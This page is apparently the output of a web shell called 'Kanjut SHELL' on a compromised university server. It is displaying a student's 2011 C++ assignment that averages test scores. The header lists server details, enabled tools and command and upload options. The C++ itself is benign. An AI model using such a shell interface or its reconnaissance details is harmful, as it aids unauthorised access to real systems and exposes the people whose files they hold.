Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.221.8.126
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jcwhiley/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jcwhiley/classStudent1.cpp
// CS212 CS 2 Assignment 2
// Due: Monday February 21, 2011
//
// File Name: classStudent1.cpp
// Author: Jennifer Whiley
// Instuctor: Dr. Wang
//
// Compile: g++ classStudent1.cpp
// Run: ./a.out < in.txt > out2.txt
// Goal: The program will read a set of student test scores (using class) 
//       and output each student's average to a file called out2.txt; 
//       the program will also output the total average of the student
//	 averages.

#include <iostream>
#include <iomanip>
using namespace std;

class Student
{
	string first;
	string last;
	int test1;
	int test2;
	int test3;

public:
	Student()
	{
	}
	void Set(string f, string l, int t1, int t2, int t3)
	{
		first = f;
		last = l;
		test1 = t1;
		test2 = t2;
		test3 = t3;
	}
	float Avg()	const // Change to "Average"
	{
		float s = (test1 + test2 + test3)/ 3.0; // int to float
		return s;
	} 
	void Print()	const
	{
		cout << "First: " << first  << "\n"
		<< "Last: " << last << "\n" << "Test 1: " << test1 << "\n" 
		<< "Test 2: " << test2 << "\n" << "Test 3: " << test3 << 
		"\n" << "Average: " << Avg() << "\n\n"; 
	}

};
int main()
{
	Student stu;
	
	float avg;
	string s1, s2; // for first and last name
	int t1, t2, t3;

	int counter = 0;
	float totsum = 0;
	float totavg;

	cout << fixed << showpoint << setprecision(2);

	cin >> s1 >> s2 >> t1 >> t2 >> t3;
	stu.Set(s1, s2, t1, t2, t3);

	while(cin)
	{	
		avg = (t1 + t2 + t3) / 3.0;
		totsum = totsum + avg;
		counter ++;
		stu.Print();
		cin >> s1 >> s2 >> t1 >> t2 >> t3;
		stu.Set(s1, s2, t1, t2, t3);

	}
	totavg = totsum / counter;
	cout << "Class Average: " << totavg << "\n";	
	
	cout << "Yesss!!!" << "\n";

	return 0;
}

Stv3n404 - 2023